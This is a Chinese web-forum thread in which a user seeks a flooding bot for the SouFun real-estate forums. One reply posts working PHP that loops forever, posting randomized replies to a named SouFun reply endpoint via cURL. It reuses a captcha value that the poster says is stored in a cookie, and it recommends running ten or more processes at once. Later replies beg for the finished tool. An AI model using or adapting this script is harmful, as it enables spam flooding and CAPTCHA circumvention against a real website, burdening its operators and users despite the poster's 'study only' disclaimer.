学习型 ASP/PHP/ASP.NET 主机 30元/年全能 ASP/PHP/ASP.NET 主机,支持月付专业 MSSQL 数据库空间,支持月付专业 MySQL 数据库空间,支持月付
 17 12
发新话题
打印

求助: 请各位请教一个灌水机的程序

求助: 请各位请教一个灌水机的程序

现有灌水机的思路和部份代码:

模拟发包程序

呵呵 完全代码不可以完全发布给你
我在写一部分代码吧 也给其他的懂点的人看看
先说突破验证码的原理吧 发现没有 当出现幸运币的时候 你只要刷新那输入页面 你会发现验证码是没有变的 可见验证码被存储到了COOKIE里了 当然了COOKIS里的数据有部分都是加密的了 当然了我们没有必要去尝试破解 只要每次都用同一个验证码去提交就好了
更深入或者是更简单的做法是


代码部分采用程序PHP
[CODE]
<?PHP
set_time_limit(0);   //程序运行时间解禁
$j = 0;  //计数初始化

//for ($i = 1; $i <= 1; $i++) { //控制发贴数量
while(1){ //去掉本行注释前先把上行注释掉 这样就是连续发帖直到程序被关闭 谨慎使用 呵呵
$j++;
$luckcode="6V"; ///////////////////////最关键的地方 一般人我不告诉的 呵呵 自己去琢磨吧 琢磨透了 就可以连续发贴了
mt_srand((double)microtime()*1000000);//加入时间的因素,以执行时的百万分之一秒当乱数种子
    $random=mt_rand(1,1000);//产生1-1000间的随机数
$subject=md5(date(''''''''H:i:s'''''''').$random); //见函数说明
$body=md5(date(''''''''H:i:s'''''''').$random); //见函数说明
$sign=1210221942; //见函数说明
$announceid=52367862; //见函数说明
$bid=-2; //见函数说明
$masterid=52367862; //见函数说明
$tid=3982; //见函数说明
$cookiefile="cookie.txt"; //见函数说明
//$cookiefile1="cookie1.txt";
soufun_gsj_ht($luckcode,$subject,$body,$sign,$announceid,$bid,$masterid,$tid,$cookiefile); //调用函数
function soufun_gsj_ht($luckcode,$subject,$body,$sign,$announceid,$bid,$masterid,$tid,$cookiefile){
$host="[url=http://shbbs.soufun.com]http://shbbs.soufun.com[/url]";
$url=$host."/soufun_forum/post/save_reply.aspx/sign=$sign";
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_NOBODY, false);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/99.99 (compatible; MSIE 99.99; Windows XP 99.99)");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_COOKIEFILE, $cookiefile);
curl_setopt($curl, CURLOPT_POSTFIELDS, "luckcode=$luckcode&guestname= &subject=$subject&color=#000000&font=宋体&size=3& select=#6495ED&body=$body&imgurl2=http://&UserImg=&rdb_rb=002&sign=$sign&announceid=$announceid&topic=&bid=$bid&masterid=$masterid&tid=$tid&listid=&listtype=1&pagesize=20&count=1&tpage=1");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$result=curl_exec($curl);
curl_close($curl);
echo $result;
}
?>
[CODE]


发贴的速度根据你的带宽和服务器的响应速度了
还有其他简单的办法 不过这个也比较简单
最简单的就是模拟发包了 不过原理都一样
此部分只供大家学习参考使用 不可对如何网站进行攻击 违背了本人的初衷
另外 防止灌水只要在验证码上改动就行了 不要存储到COOKIE了 那就安全了 呵呵 当然了 那时候是更高层次的识别了
此类话题结贴 本站管理员不要删除 SOUFUN管理员例外 [CODE] 发贴的速度根据你的带宽和服务器的响应速度了还有其他简单的办法 不过这个也比较简单最简单的就是模拟发包了 不过原理都一样此部分只供大家学习参考使用 不可对如何网站进行攻击 违背了本人的初衷另外 防止灌水只要在验证码上改动就行了 不要存储到COOKIE了 那就安全了 呵呵 当然了 那时候是更高层次的识别了此类话题结贴 本站管理员不要删除 SOUFUN管理员例外' />

哈哈 其实刚才给你的代码 恐怕就是COOKIE.TXT你不明白吧  那是Netscape格式的COOKIE的保存格式 你放到和当前程序同一目录就可以了
还有程序不要用IE去执行 呵呵 因为有输出 占内存 可以直接用命令行执行 呵呵
那样可以在一台机器上同时开10多个进程了

TOP

指对性很强,很少有验证码这样做的。不过发贴过程到是差不多。

TOP

回复 2# 的帖子

向你拜师了~!
你能帮我把他做出来吗?

这个灌水机是用在搜房网的([url]http://cdbbs.soufun.com/board/sb/[/url]),现在搜房网升级了好多灌水机没办用了,只有这个灌水机还可以,但那位老大又不给整个程序给我,就给这么一些......

TOP

回复 3# 的帖子

顶一下,不要让他沉下去了...

TOP

这个应该是比较关键的代码了,你可以自己研究研究,我最近比较忙,不然的话我对这个也挺感兴趣的。

TOP

回复 5# 的帖子

我等你了,我自己是个只能做几个简单的网页的白痴

TOP

回复 5# 的帖子

拜托了~!

:D

TOP

回复 7# 的帖子

每天来顶一下~!

TOP

回复 8# 的帖子

今天又来顶一下~!

TOP

回复 9# 的帖子

今天路过再来顶一下下~!

TOP

 17 12
发新话题